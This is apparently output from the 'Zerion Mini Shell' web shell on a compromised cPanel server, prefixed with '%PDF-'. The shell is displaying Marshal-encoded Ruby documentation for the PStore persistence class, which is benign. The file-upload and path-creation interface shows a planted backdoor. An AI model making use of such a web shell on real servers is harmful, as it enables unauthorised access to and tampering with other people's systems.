%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/PStore/
Upload File :
Create Path :
Current File : //proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/PStore/cdesc-PStore.ri

U:RDoc::NormalClass[iI"PStore:ET@I"Object;To:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[	I"QPStore implements a file based persistence mechanism based on a Hash.  User ;TI"Rcode can store hierarchies of Ruby objects (values) into the data store file ;TI"Rby name (keys).  An object hierarchy may be just a single object.  User code ;TI"Smay later read values back from the data store or even update data, as needed.;To:RDoc::Markup::BlankLineo;	;[I"SThe transactional behavior ensures that any changes succeed or fail together. ;TI"PThis can be used to ensure that the data store is not left in a transitory ;TI"?state, where some values were updated but others were not.;T@o;	;[I"LBehind the scenes, Ruby objects are stored to the data store file with ;TI"KMarshal.  That carries the usual limitations.  Proc objects cannot be ;TI"marshalled, for example.;T@S:RDoc::Markup::Heading:
leveli:	textI"Usage example:;T@o:RDoc::Markup::Verbatim;[7I"require "pstore"
;TI"
;TI"# a mock wiki object...
;TI"class WikiPage
;TI"5  def initialize( page_name, author, contents )
;TI"     @page_name = page_name
;TI"     @revisions = Array.new
;TI"
;TI"(    add_revision(author, contents)
;TI"  end
;TI"
;TI"  attr_reader :page_name
;TI"
;TI",  def add_revision( author, contents )
;TI"0    @revisions << { :created  => Time.now,
;TI".                    :author   => author,
;TI"1                    :contents => contents }
;TI"  end
;TI"
;TI"   def wiki_page_references
;TI"R    [@page_name] + @revisions.last[:contents].scan(/\b(?:[A-Z]+[a-z]+){2,}/)
;TI"  end
;TI"
;TI"
  # ...
;TI"	end
;TI"
;TI"# create a new page...
;TI"Chome_page = WikiPage.new( "HomePage", "James Edward Gray II",
;TI"K                          "A page about the JoysOfDocumentation..." )
;TI"
;TI"Q# then we want to update page data and the index together, or not at all...
;TI",wiki = PStore.new("wiki_pages.pstore")
;TI"Lwiki.transaction do  # begin transaction; do all of this or none of it
;TI"  # store page...
;TI"-  wiki[home_page.page_name] = home_page
;TI"2  # ensure that an index has been created...
;TI"'  wiki[:wiki_index] ||= Array.new
;TI"  # update wiki index...
;TI"?  wiki[:wiki_index].push(*home_page.wiki_page_references)
;TI"Dend                   # commit changes to wiki data store file
;TI"
;TI" ### Some time later... ###
;TI"
;TI"# read wiki data...
;TI"Rwiki.transaction(true) do  # begin read-only transaction, no changes allowed
;TI"+  wiki.roots.each do |data_root_name|
;TI"    p data_root_name
;TI"     p wiki[data_root_name]
;TI"  end
;TI"	end
;T:@format0S;;i;
I"Transaction modes;T@o;	;[	I"PBy default, file integrity is only ensured as long as the operating system ;TI"R(and the underlying hardware) doesn't raise any unexpected I/O errors. If an ;TI"NI/O error occurs while PStore is writing to its file, then the file will ;TI"become corrupted.;T@o;	;[	I"HYou can prevent this by setting <em>pstore.ultra_safe = true</em>. ;TI"THowever, this results in a minor performance loss, and only works on platforms ;TI"Lthat support atomic file renames. Please consult the documentation for ;TI"+ultra_safe+ for details.;T@o;	;[I"SNeedless to say, if you're storing valuable data with PStore, then you should ;TI"/backup the PStore files from time to time.;T:
@fileI"lib/pstore.rb;T:0@omit_headings_from_table_of_contents_below0;0;0[[
I"ultra_safe;TI"RW;T:publicFI"lib/pstore.rb;T[U:RDoc::Constant[iI"RDWR_ACCESS;FI"PStore::RDWR_ACCESS;T00o;;[;@f;0@f@cRDoc::NormalClass0U;[iI"RD_ACCESS;FI"PStore::RD_ACCESS;T00o;;[;@f;0@f@@s0U;[iI"WR_ACCESS;FI"PStore::WR_ACCESS;T00o;;[;@f;0@f@@s0U;[iI"CHECKSUM_ALGO;FI"PStore::CHECKSUM_ALGO;T00o;;[o;	;[I"5Constant for relieving Ruby's garbage collector.;T;@f;0@f@@s0U;[iI"EMPTY_STRING;FI"PStore::EMPTY_STRING;T00o;;[;@f;0@f@@s0U;[iI"EMPTY_MARSHAL_DATA;FI"PStore::EMPTY_MARSHAL_DATA;T00o;;[;@f;0@f@@s0U;[iI"EMPTY_MARSHAL_CHECKSUM;FI"#PStore::EMPTY_MARSHAL_CHECKSUM;T00o;;[;@f;0@f@@s0[[[I"
class;T[[;[[I"new;T@k[:protected[[:private[[I"
instance;T[[;[[I"[];F@k[I"[]=;F@k[I"
abort;F@k[I"commit;F@k[I"delete;F@k[I"
fetch;F@k[I"	path;F@k[I"
root?;F@k[I"
roots;F@k[I"transaction;F@k[;[[;[[I"empty_marshal_checksum;F@k[I"empty_marshal_data;F@k[I"in_transaction;F@k[I"in_transaction_wr;F@k[I"load_data;F@k[I"on_windows?;F@k[I"open_and_lock_file;F@k[I"save_data;F@k[I"/save_data_with_atomic_file_rename_strategy;F@k[I"!save_data_with_fast_strategy;F@k[[U:RDoc::Context::Section[i0o;;[;0;0[@f@fcRDoc::TopLevel

Zerion Mini Shell 1.0